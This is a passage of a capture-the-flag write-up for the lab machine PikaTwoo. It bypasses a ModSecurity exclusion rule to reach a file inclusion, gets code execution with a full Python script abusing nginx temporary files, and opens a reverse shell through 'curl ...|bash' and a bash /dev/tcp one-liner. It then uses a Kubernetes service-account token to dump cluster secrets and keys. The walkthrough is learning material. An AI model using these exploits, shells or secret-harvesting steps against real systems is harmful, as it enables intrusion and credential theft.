There’s a specific rule, REQUEST-903.9001-DRUPAL-EXCLUSION-RULES.conf
that is meant to only work when enabled, but due to a bug, is enabled whether the owner has turned them on or not. Three of these rules (9001180, 9001182, and 9001184) disable body scanning for certain paths.
The file in question is available here. I’ll look at 9001180 first, since it’s the simplest:
SecRule REQUEST_METHOD "@streq POST" \
"id:9001180,\
phase:1,\
pass,\
t:none,\
nolog,\
noauditlog,\
ver:'OWASP_CRS/3.2.0',\
chain"
SecRule REQUEST_FILENAME "@rx /admin/content/assets/add/[a-z]+$" \
"chain"
SecRule REQUEST_COOKIES:/S?SESS[a-f0-9]+/ "@rx ^[a-zA-Z0-9_-]+" \
"ctl:requestBodyAccess=Off"
The rule looks to see if the file path is /admin/content/assets/add/[a-z]+$
. If it is, it checks if there’s a cookie that matches a regex (I’ll use SESSa
for simplicity here) that has a value made up alphanumeric characters plus underscore and dash. If that matches, then it turns off access to the request body for ModSecurity.
Applying CVE Bypass
So how would this apply for PikaTwoo? It seems perhaps I can get the POST body to not be scanned. Does having POST body access help me? It looks like it does:
oxdf@hacky$ curl http://pokatdex-api-v1.pokatmon-app.htb/ -d "region=0xdf&debug=true"
{"error": "unknown region", "debug": include(): Failed opening 'regions/0xdf' for inclusion (include_path='.:/usr/share/php')"}
By adding -d
, it sends a POST request with the parameters in the body.
If I visit /admin/content/assets/add/a
with a cookie SESSa=a
, then the body of the POST won’t be scanned by ModSecurity. So what happens when I send a POST to /admin/content/assets/a
? The rule will check /index.php?region=/admin/content/assets/add/a
. That’s not really helpful, unless the region
in the body takes priority over the one in the GET parameters. I’ll do this as an experiment, where 0xdf
is the GET region, and post0xdf
is the body one:
oxdf@hacky$ curl http://pokatdex-api-v1.pokatmon-app.htb/0xdf -d "region=post0xdf&debug=true"
{"error": "unknown region", "debug": include(): Failed opening 'regions/post0xdf' for inclusion (include_path='.:/usr/share/php')"}
Based on the debug, it looks like the POST takes priority! That means I should be able to access files around Mod Security. And it works:
oxdf@hacky$ curl http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/a -d "region=../../../../../../etc/passwd&debug=true" -b "SESSa=a"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
www:x:1000:1000::/home/www:/bin/sh
RCE
Dead Ends
I can use the LFI to read files from the disk. I’m not able to get to any log files, so I can’t log poison. I don’t have any upload capability to get a webshell on PikaTwoo. I could also try PHP filter injection (like in Encoding and Pollution), but the debug messages show that my input is prepended with “regions/”, which breaks this technique.
nginx Temp Files
This blog post is about just this situation, using nginx’s ability to create temporary files on disk for large requests to create a webshell that gets invoked before it gets deleted. The post includes a example script, which I’ll walk-through and then modify for PikaTwoo in this video:
By the end of the video, I’ve got this script:
#!/usr/bin/env python3
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
URL = f'http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/a'
# # find nginx worker processes
# r = requests.get(URL, params={
# 'file': '/proc/cpuinfo'
# })
# cpus = r.text.count('processor')
cpus = 2
# r = requests.get(URL, params={
# 'file': '/proc/sys/kernel/pid_max'
# })
# pid_max = int(r.text)
# print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
pid_max = 4194304
nginx_workers = []
for pid in range(pid_max):
r = requests.post(URL,
data={'region': f'../../proc/{pid}/cmdline'},
cookies={"SESSa": "a"}
)
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.post(URL, data='0xdf0xdf\n<?php system("id"); /*' + 16*1024*'A')
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'../../proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.post(URL, data={'region': f}, cookies={"SESSa": "a"})
if r.text and "0xdf0xdf" in r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
And it runs id
:
oxdf@hacky$ python rce.py
[*] nginx worker found: 11
[*] nginx worker found: 12
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 11
[+] brute loop restarted: 12
[!] ../../proc/self/fd/12/../../../12/fd/16: 0xdf0xdf
uid=1000(www) gid=1000(www) groups=1000(www)
Shell
To get a shell, I’ll update the script to run curl
to my server and then pipe the result into bash
:
requests.post(URL, data='0xdf0xdf\n<?php system("curl 10.10.14.6/rev|bash"); /*' + 16*1024*'A')
Now I’ll save a simple bash reverse shell in rev
:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/444 0>&1
And start a Python web server hosting this file. When it runs, I get a shell:
oxdf@hacky$ nc -lnvp 444
Listening on 0.0.0.0 444
Connection received on 10.10.11.199 39756
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www@pokatdex-api-75b7bd96f7-2xkxk:/www$
I’ll upgrade the shell using the standard technique:
www@pokatdex-api-75b7bd96f7-2xkxk:/www$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www@pokatdex-api-75b7bd96f7-2xkxk:/www$ ^Z
[1]+ Stopped nc -lnvp 444
oxdf@hacky$ stty raw -echo ; fg
nc -lnvp 444
reset
reset: unknown terminal type unknown
Terminal type? screen
www@pokatdex-api-75b7bd96f7-2xkxk:/www$q
Shell as nobody in APISIX Pod
Enumeration
Identify Kubernetes
The box has the feeling of being a container. There are no directories in /home
. There’s a start.sh
in the system root that runs supervisord
, which is not uncommon in containers but is very rare in non-containers:
#!/bin/bash
# Run supervisord
/usr/bin/supervisord -c /etc/supervisord.conf
There’s no .dockerfile
in /
, so it might not be a simple Docker container.
The IP address is 10.244.0.3/24, which is different from the IP of PikaTwoo:
www@pokatdex-api-75b7bd96f7-2xkxk:/$ ip -o -4 addr
1: lo inet 127.0.0.1/8 scope host lo\ valid_lft forever preferred_lft forever
3: eth0 inet 10.244.0.3/24 brd 10.244.0.255 scope global eth0\ valid_lft forever preferred_lft forever
In /run/secrets
there’s a kubernetes.io
directory:
www@pokatdex-api-75b7bd96f7-2xkxk:/$ ls run/secrets/
kubernetes.io
Digging in a bit, I’ll find files for the namespace and the token:
www@pokatdex-api-75b7bd96f7-2xkxk:/run/secrets/kubernetes.io/serviceaccount$ ls
ca.crt namespace token
www@pokatdex-api-75b7bd96f7-2xkxk:/run/secrets/kubernetes.io/serviceaccount$ cat namespace
applications
www@pokatdex-api-75b7bd96f7-2xkxk:/run/secrets/kubernetes.io/serviceaccount$ cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6IjAtelk2WTBKaFgwY3g0b3hxbVF6OWg5blJmNkVOS0xiNFhkNklqN2ZybGcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzI0OTYwNDU5LCJpYXQiOjE2OTM0MjQ0NTksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJhcHBsaWNhdGlvbnMiLCJwb2QiOnsibmFtZSI6InBva2F0ZGV4LWFwaS03NWI3YmQ5NmY3LTJ4a3hrIiwidWlkIjoiOGI3MGY1YjItODE1OC00NDg5LTk0NGUtMDA2ZTM1Yzc2ZDkzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMTRmN2QyM2MtZDlmZi00OGE1LTg1MmItODAyZTdjZmVjZDkzIn0sIndhcm5hZnRlciI6MTY5MzQyODA2Nn0sIm5iZiI6MTY5MzQyNDQ1OSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmFwcGxpY2F0aW9uczpkZWZhdWx0In0.qOIJqW0CeQ1SFzavswCO_6nFM9SvNjAXiB-8hcNtZ_wP0fX4dy408SDAX9eDSydWq19XdHcfawEiSLWBfD-LfNSEYFd5pXuRj6C2apD2fOqLydGI-ovaNXqK__zrThfiqI95583o8J-kX_2b0RvJKRvgHuUiJ9c64Yg7Xl8Li-RKEFJP21eeoKcO8PP3a-qsFA628UTGNk-tti4yEXG0igRKuZOkzYBSA8R-e7UN7xzvhKg1pUIFJpFU87MdQGKEUWcLn4OHb_21DazdsjVwO0JRq59yXKq0cXlmi3AGvjUpjI-IBQFkAqURFRRapE939ytLBvp0Z-2gH_N1MSPaxw
The namespace is called applications and there’s a token.
Accessing Kubernetes API
The Kubernetes docs have a page called Accessing the Kubernetes API from a Pod that walks through how to do just that. Outside the pods I’d typically use a program called kubectl
to interact with the cluster, but that’s not installed in this (or most) pods.
I’ll follow the instructions there, first setting some variables:
www@pokatdex-api-75b7bd96f7-2xkxk:/$ # Point to the internal API server hostname
www@pokatdex-api-75b7bd96f7-2xkxk:/$ APISERVER=https://kubernetes.default.svc
www@pokatdex-api-75b7bd96f7-2xkxk:/$ # Path to ServiceAccount token
www@pokatdex-api-75b7bd96f7-2xkxk:/$ SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
www@pokatdex-api-75b7bd96f7-2xkxk:/$ # Read this Pod's namespace
www@pokatdex-api-75b7bd96f7-2xkxk:/$ NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
www@pokatdex-api-75b7bd96f7-2xkxk:/$
# Read the ServiceAccount bearer token
www@pokatdex-api-75b7bd96f7-2xkxk:/$ TOKEN=$(cat ${SERVICEACCOUNT}/token)
www@pokatdex-api-75b7bd96f7-2xkxk:/$ # Reference the internal certificate authority (CA)
www@pokatdex-api-75b7bd96f7-2xkxk:/$ CACERT=${SERVICEACCOUNT}/ca.crt
Now I can hit the API using that token:
www@pokatdex-api-75b7bd96f7-2xkxk:/$ curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
{
"kind": "APIVersions",
"versions": [
"v1"
],
"serverAddressByClientCIDRs": [
{
"clientCIDR": "0.0.0.0/0",
"serverAddress": "192.168.49.2:8443"
}
]
}
Reading Secrets
The API docs show that secrets are accessed from /api/v1/namespaces/{namespace}/secrets
:
www@pokatdex-api-75b7bd96f7-2xkxk:/$ curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/$NAMESPACE/secrets
{
"kind": "SecretList",
"apiVersion": "v1",
"metadata": {
"resourceVersion": "2490044"
},
"items": [
{
"metadata": {
"name": "apisix-credentials",
"namespace": "applications",
"uid": "be010bfa-acfb-410b-a5a3-23a2be554642",
"resourceVersion": "806",
"creationTimestamp": "2022-03-17T22:02:57Z",
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"data\":{\"APISIX_ADMIN_KEY\":\"YThjMmVmNWJjYzM3NmU5OTFhZjBiMjRkYTI5YzNhODc=\",\"APISIX_VIEWER_KEY\":\"OTMzY2NjZmY4YjVkNDRmNTAyYTNmMGUwOTQ3NmIxMTg=\"},\"kind\":\"Secret\",\"metadata\":{\"annotations\":{},\"name\":\"apisix-credentials\",\"namespace\":\"applications\"},\"type\":\"Opaque\"}\n"
},
"managedFields": [
{
"manager": "kubectl-client-side-apply",
"operation": "Update",
"apiVersion": "v1",
"time": "2022-03-17T22:02:57Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:data": {
".": {},
"f:APISIX_ADMIN_KEY": {},
"f:APISIX_VIEWER_KEY": {}
},
"f:metadata": {
"f:annotations": {
".": {},
"f:kubectl.kubernetes.io/last-applied-configuration": {}
}
},
"f:type": {}
}
}
]
},
"data": {
"APISIX_ADMIN_KEY": "YThjMmVmNWJjYzM3NmU5OTFhZjBiMjRkYTI5YzNhODc=",
"APISIX_VIEWER_KEY": "OTMzY2NjZmY4YjVkNDRmNTAyYTNmMGUwOTQ3NmIxMTg="
},
"type": "Opaque"
},
{
"metadata": {
"name": "default-token-hl4d7",
"namespace": "applications",
"uid": "00cb586a-5e2b-465a-947d-43d865570958",
"resourceVersion": "770",
"creationTimestamp": "2022-03-17T22:02:09Z",
"annotations": {
"kubernetes.io/service-account.name": "default",
"kubernetes.io/service-account.uid": "14f7d23c-d9ff-48a5-852b-802e7cfecd93"
},
"managedFields": [
{
"manager": "kube-controller-manager",
"operation": "Update",
"apiVersion": "v1",
"time": "2022-03-17T22:02:09Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:data": {
".": {},
"f:ca.crt": {},
"f:namespace": {},
"f:token": {}
},
"f:metadata": {
"f:annotations": {
".": {},
"f:kubernetes.io/service-account.name": {},
"f:kubernetes.io/service-account.uid": {}
}
},
"f:type": {}
}
}
]
},
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCakNDQWU2Z0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwdGFXNXAKYTNWaVpVTkJNQjRYRFRJeU1ETXdPVEU1TURZek1Wb1hEVE15TURNd056RTVNRFl6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYldsdWFXdDFZbVZEUVRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTm5oClU2Y083amNWOTEzNFlBS3g2NDJ3N0dOc2UvdC9DMHBPRHhpTGNoSmovcFVnVjNmTTBWL3dRR0k1OXlhNDhTdW0KK1RzcUppd2RXT21JckEyUEZOSVJhMUpyUjg5RHd4bERad0VVSElYSmxZNTFRdVE0cmEyNUZvMXBGWWx2UUFTQQpBUU1SMjUwblQwYVd0S25pTVQ1TDNYNnM1RmcvQVU2R21lNkxBVlYrVW8xZ1ZMeTRjZ3cvTnZDMXF4azJXMnkxCjJYU2hPcTVkQnMveE5WMGxtMzgvUG9hK2xtamVaZGJWMzJJa1NITlQvUGRrNldkYm0va0lHK3dDd2tkaERRdGYKVHRPd1dobG5Qb3pDMDU2cU1SZnBKSytxOHpoWGwvTmVIZkhKL04vQmpqYzVxRHd4a3hIcEpGUnJldmQvd0xnLwp0S0sxajBSTWR3NnM2QmhiTUcwQ0F3RUFBYU5oTUY4d0RnWURWUjBQQVFIL0JBUURBZ0trTUIwR0ExVWRKUVFXCk1CUUdDQ3NHQVFVRkJ3TUNCZ2dyQmdFRkJRY0RBVEFQQmdOVkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVcKQkJTVERUVHFEc2Nqcnl4V0Voa2MxYkpySjdQZ0V6QU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FRRUFWY2Erd0Z0eApEajBKT0QvYlN3allUY0Yzcit5YzJWVWNQZVdOMmhjN0F2dndLTnlLTHl5K2hESEtCN0ZTTDV2U2d3OHhldlYxCkx6bjR5dVIzNzBNSCtOR25UNVZaTFVjVU5iakpOTSsxNDJOc1dSUlJ4dzZQSVZ4cFR6OUFzdk9WcURJbFhUTXAKaURNRGRrbG16aGRGbHdKV08wRUQ0c29lNEFhQ3NXRlE5d013ZEFSbWY4TTh2QW1kZUY1TWlwTjFHSEFNaTZ2WAo0UzdCSjZPRFNmRmpuSTRBWWhuZ215UzBseW56TUV4ZnJrVXRiOXJjNWFNcXdnd1QrRGs3eUc4SmxJNG1vOC9zCmFXT25jSVZBUzRDQXlpZG1Zdm1id05GVklMemM5VXVrcGMyV3M2RzNaeTdZQ014d2ZkYkZZNUVCY2MxQXRCWVoKc0k2WldJV0x5VkJuSGc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==",
"namespace": "YXBwbGljYXRpb25z",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklqQXRlbGsyV1RCS2FGZ3dZM2cwYjNoeGJWRjZPV2c1YmxKbU5rVk9TMHhpTkZoa05rbHFOMlp5YkdjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpoY0hCc2FXTmhkR2x2Ym5NaUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sWTNKbGRDNXVZVzFsSWpvaVpHVm1ZWFZzZEMxMGIydGxiaTFvYkRSa055SXNJbXQxWW1WeWJtVjBaWE11YVc4dmMyVnlkbWxqWldGalkyOTFiblF2YzJWeWRtbGpaUzFoWTJOdmRXNTBMbTVoYldVaU9pSmtaV1poZFd4MElpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVkV2xrSWpvaU1UUm1OMlF5TTJNdFpEbG1aaTAwT0dFMUxUZzFNbUl0T0RBeVpUZGpabVZqWkRreklpd2ljM1ZpSWpvaWMzbHpkR1Z0T25ObGNuWnBZMlZoWTJOdmRXNTBPbUZ3Y0d4cFkyRjBhVzl1Y3pwa1pXWmhkV3gwSW4wLkladm41aGk3dDZjUkhTNDAzM204R2tCaGdGUUZlVUZmZFZxTVlvYUR6S1FzNWlHVE4xaTR6aUJhbV9MMU02UE5RSlViNHNwVlpyN2FCS2RmMkpuNzNERFlhOHZ4bGtqa21BQkNFTDFrSEI2RlZSamFBOGxDRFdTamx2TkFaeU80czN0RXFBaEpRcHg2OUxmd0tuM201N05DdjkxakNULTRTY2lCN05YcjJOSGhZQ3RfVHVka0U1ZllRdE4xSGZTb0V6bVpXNjlmR0E4THFkbkRDNkZLb2ZnaGRLYkt6T1EtaHhUbFdMRjdwMUN3MnNnamZoczBCdWU3Q29nNFY3Rl9YQkN4ejVqZFpUZ2Nyc3A1TTVmNnZDYjJKbkc0RElqTEplZnMzQkRQTzVsS3dkY0NaVVN5Rkc1OXgzSzBBTVdSMHB4YmdNTnlYci1Mei03RHotWTkxUQ=="
},
"type": "kubernetes.io/service-account-token"
},
{
"metadata": {
"name": "sh.helm.release.v1.apisix.v1",
"namespace": "applications",
"uid": "538a6f88-f8e3-42bf-b75c-ff058ced2fd4",
"resourceVersion": "169507",
"creationTimestamp": "2022-03-30T12:50:30Z",
"labels": {
"modifiedAt": "1648644630",
"name": "apisix",
"owner": "helm",
"status": "deployed",
"version": "1"
},
"managedFields": [
{
"manager": "Go-http-client",
"operation": "Update",
"apiVersion": "v1",
"time": "2022-03-30T12:50:30Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:data": {
".": {},
"f:release": {}
},
"f:metadata": {
"f:labels": {
".": {},
"f:modifiedAt": {},
"f:name": {},
"f:owner": {},
"f:status": {},
"f:version": {}
}
},
"f:type": {}
}
}
]
},
"data": {
"release": "SDRzSUFBQUFBQUFDLyt6OUM0L2FTclk0aW4rVkNNMWYrdDl6T2gzYk5MMmJTRWYzWWhvYjArQU9CdnlhR1czWlpiZHRLRDhHMjRBWjdlOStWUTgvQU5PUEpIdm16TzlHVVpRQWR0V3FWYXZXZTYzNlp5ZXlRcmZ6dFdNbFFSb2NPamVkSUhxSk8xLy8yWGtKdG1uMnUrTW1NQzVjcC9PMXd6RWM5NW5wZnU0eVM3Yjd0Y2Q4N1RLM1hhYi8yMFAzdm52LzN3ejdsV0U2Tngxb2ZjOWJqZ3ZkREQrUFA2UmdHeVJaRUVlZHJ4MHBTak1Md2s4Z0RoUDBVT2VtazJaV2xxZWRyNTFxbnB0T0ZHY3Urb3E5L1NTNjJhZk1kejlaU1FJRFlLRnhQcTJVNlNlNytMVE5veWlJUFBSejZxSWhReXR5MHE5L2l6NTljZzlKdk0wK3ljK1BvOSsvUFN2TC8vbkwvMytUMnk3STRDZlB6VDU5L293UWxTWVdPQms0L2ZRNS9yUk80eWl4TXY5Ly90YjU1MjJhdU9BV0RaWCtsZm43YlJRNzdyZDRtLzN4dDg2bjFOM3VBdUNtbndpdVAzdFc1dTZ0NHY4Nm4xMzZkalkzR2lSOVB3UkI1b1o0Y29Lblc4dHh0bTZhdXZnNyt1R1B2M1hJdk1DUFAvbFpsbno5OHVVdmRQYXZmNm1ROExlbzg4ZE5CL2pXTmtNMEVicVo1VmlaaGY1L1RqYzdkNXVTSFdOdUgyNjdGL3M0K0RSMllmZ0pqL1hwSmQ1K0dpUVc4TjFQZzIvU1F0STdONTNRQ3FMTUNpSjNtM2ErL3JXYUlMTmlsdXZlOWU3djc3dmRidWVQdjk5MEFvQkhSR0NuWDc5OHNmQkF0L0hXK3dKakwwNi9iTjMwQzRHTC9uT2JSRjduQnNHcVZsRHVPUHhOVW4vRDNiTGNMWXNCVDl6SWNTTVF1Q2VndUJsd1RsWjZmOHZkM25kdU9sczNpZE1naTdkRkF5eTgwdlRXRHJMSUNvTmJFSWRmNlA4N054MFFSMDVBTVlPR3ZYVWp5NGFZa3N2L2ZjMjJ1WXVXbXhVSndYUzE1MmhUWUF3MmFCODhOM0szVnRZNGJDdytiT3hYdHZ1MTI3dnQzYkZzOS82dTk5L01BejFyZ2VlbVdlZHJKL1V0cm5mLzllR2w1L1I3THc4UGpzdDFXYzY1YzFtcjk4QXdGcmg3K0kyN2YzbXdIN3JPYnkrV3c5cU1CZXgrditmMGdOUHRXWGJQNW42elgvNFZDUHZqNW96Z1BqdFc2dHV4dFhYT1NPL3VsbmxqZkRTQXUzTWpORUhMd0VIa29RUHlHY1JSdG8waGRMZG5NL1EvT01QZi83anBaRzZZUUNzN3hVNzE1UmY1ZVRsYTNHYUhET0VTbjYvT2JISG5LWnpLU0dNbE5oZThEOFo4YW1teTc0aHdad2U4dXRyc1BTUGFlQ0JTY3p1RXVWbndqQ1dxUjNQQnIyMk96UXl0dHdISCtNbnRwcGtrd2xBYTlqUkRPN0NtUHN0TlRtQk0zZkhkUlMreFE2Y3dkZms0RGRYYzBDYXBxYzI5RjUwaDc0MG52aDA2VUJvcXNkMlZHZWt4N3I4OWpyOERYZVVvamRuK01CaDRwK1AwOW9hdXhLRGcreS96MkpORW4zSEcvRzl1d1NkbU1OaE1vZW5iWXhXQ29oY1p1Z0lkVHVoTjBkcTZFd2k2czl3UkQzaGMwTTErazBRMU40ZDgvMlVaNzZib000V1J6SS9Xd1A3bUZvUDhCSTd5blhueW0xc3ducW4xTnZqM0tQdHR1dUNoUFpZaHhwVW83K3hJOFMydGQ1U0drMmViVStCSzdCZk9VUEphWVl5VUhoQlhHRy9Ta0lmdW1OK0JhTzR0Ti8yUm92Ym5TM2F5K3JhWXgxWlhEVXhOWnV3aEg1bjYzSnN1Mk56UVdBaTZ2Rzl3S3dTak40VVRhSXVxRDdoVnZneUZ6TlRsdmFISkVNRXBEZG1kSkNaSG15TjQvTGFZL0RhTjVMMnB6WEtBNEJ2TDlreGdjanZzYjB3VndhRDBwWUEvbXZxRXN6UVpnb0xnMmc3bDFORVVLQTBuUGhEaDBkSzkzSXpVMUJaN3ZxMnRBbWw0aDlhUzFmdTdhVnZYWlBYSWJKN0VqRFZDZGUySWU4OUU5Q3IyZHFhb0hxVWhrOWtuOEtNOTZpMU03UUFOWFliVERacExQUUpSV0pzTHZ2K3lHR1Iyd2Y4RGNQMGNpQUpqUFRLQlcvUVNSMVF6d0taN2ZkRTdPcUxBT1Bvc056UmxBMEwxQ0RqMXFCMTVaeG9LRzNPTWFFVHVTd0dCMWVEOEhhR3Z3ZjIwZU5qVU1NZWI1cjY4c2Zjem14TTI4MUJJRGEyM05uVXB1RUwvakt2enNLUTFhVGhBT0ZvcHk5aGI2SFBQMW9TZU5GWjhpMXQ1eG9JUFRSMTR0Z1p6UjFmUW5vUjJWL0ljMFlmUzZMQXpOR1ZvYUFmZkRtVUlBbjZ5R3ZLTVhmQUI0Z0ZPS0NTMktBUzJ1TXJMZWNxL210Wm5KVkgyN1lEdkdycXl0b2FJSDZ3ODBGVjhaNndlSmJFZlN1S2tKNDBuckIyaTh3cThDWGUyZHgvZU0vN29oRE52cWdOTXU1YldXOXRqZFdNdUJvR2g4d25nNE4wME5GbGJQR0E2bHdKeUhxZWE0enVpMmpYMFRZVFdZZXIrM3U1T0dFbVFoUlUwSjNOR2ZWbW9nLzVrNkc4ZGJRS05ycEpLb2dPZElaM3ZvK2NHclVPRXVjRWRXRk5jZVZJbzdDMWRUdHhoTDNTMFE0clh2SkM4YVlEV3hGYm5HdUVEMDU5NDhCMzBYcFQ5aHY5Vy9NeFA3RkNCN25DUWwzaWVodWQ3V1BORzZYR1FJSGpjYnBvVC9zUkRPOFQ4TmtCL256QlBWTmVXK09CWlk0VUJqL0Z1V2loTFJaMW9pNVVzNkF5Y1AwZDRUOXBvTUhiR3luNGF5UkJFWm1KdzZoemo5RzMrOW1pUDFhTWpxc1ZDSGJ5THZ1djk0cjhwUXY5NXZtS0ZOdjRHeFA0R0ZJTnNxcDNRRGViTHExQk5UVTA0bW92ZWMzTXZYM1RHbTJwN3ZFZGcyTVA3RDhJZWRFU0VXN2liY3BoSDlhL1Qyd2tQU3cyZDMwOURUT2VGSGFvTVdwZWxQZXpRMmgxUnlBMk9qSFZCUDVpK0pXK3FQWGhXaFBERis0N285YVVvelMxZGdiWk9lYTJtTW9hbStJNDR5c25aT2QxSENab0lMcWJCaXc2ek5jaG53N3Y5ZEQyNmYzNGMzTTNJR1djQm9tV3R6NExnWE41TGlLZlZaK0hqNXhUdjExUXpkeUJ5ZkJET3ZVbGo3NlJIYi8vOE9FQ3dQSjNLeWZoL21ocFNyYkQ4N3Jzd2NiZnBiWmJBV21keHUrbnVLZUE1UzJQdXBiR016bXRvYVFmb2pPSGVYTEtabzh1TW9jbXh1WXk5cDZCUDVmRERQNFliOVE2SUFwb1Q4eXh5SHZtZEdaRFBCdWY3SUpybnd5RGVWYnFKcUVBVDZRYXRlOC9XTWw1VVEwTlhVMmM0eU9kMEhMSy9nMXdOaGRUUkVGMWhmSDF6UXJVQUlkeVlDLzVCR2l1Rm8vWFcwcU54bE1aN3p4bFBFbHVWV1RNMEUzYzRDS1lMcWRhVGFudzlZUng0eVNNSVZjd3pqQVcvTVRYVGQ3UURJNG1ZRi9ha3NjQWEyaUV4UXdqTklkcnJBVjN6M1pQS3JkQmNyQjNLNUgxOTdzbnJHY1hCekVQODJ0Q3hubmUwT1JaS294UGFMbkVYV3BxYW11T1paK2dUS0ltSHhOWWdnM1E3UjN4QXNpWUJ4U0JHK2lPUk84cnpxdUFSVDhWeUFYUjVhQlNiZkxpQm9UU3V6a1U1OXRybWVveWh3UndVL05vU2hjSVo4b1MvaTVDUnhrNWlpM3ZQQ0ZlZW84dGtmUVh2azdYdnEzWFcrMC8yeU5KNnIrZ2o5WDVhbXRIVXdXcit2ZXB6cGo0cExLVFhWRHl2dWNlMUhGcDJUUWlpU1lKa3djdVFaNUFPYlJRRGJsYVFmYmMwZHVsb1ptanBuaWNGVEhEQlErdnhOMlE5Zy90dnpYMGU5aDRKWGdodmEvTFU2N0FpSGJpSjIycnNDMTdaWE4vbGIzdEtQek5NTjNoOUljeFdYVFUwUTNnbkRhVk1DcG82OE9HSWVRVDlEQkNkUjBvb0RTVUlDZ2FDUW1yaGpTVnMzM3RPcnVqZlJCWSs0YzlGL0RUdlRpQ1N4WklveDRZK1Fib2xvZ2ZQd08raFBaUVRtN3Z6REgxVzBscmdMazU0aG9mMEpWUGJ2NE4zMERtQ1FWYmJQM3hoYVQzR0RBYkJSSjlsRTMwV3RPeHQrVmt6OWNuUjB2bzV3Z01JMWIyTitlOGdlQ29rVDRJUHdjZjNodUxISy9ta3ZMTTFGdGwvcWFGTm9EMmV2WG1PeVBvUHgzSmRscWltOXFKM3RJWjljbllmNDFkMHR3b25lYmxQVi9Tb0k1WTlYV1VITmdmZkNOVVUwMDFqTGZqY2JzaDQwNDJ3QjBLOWZ3aXVhM0lhODJRTzd1dzFnZlBxR0VQKzRHaDlwa25MRmY2dTZoS3NiNGRDWkdyenpJZzI5eGR5RkphNjFPbzFYcitzMXY2QmZ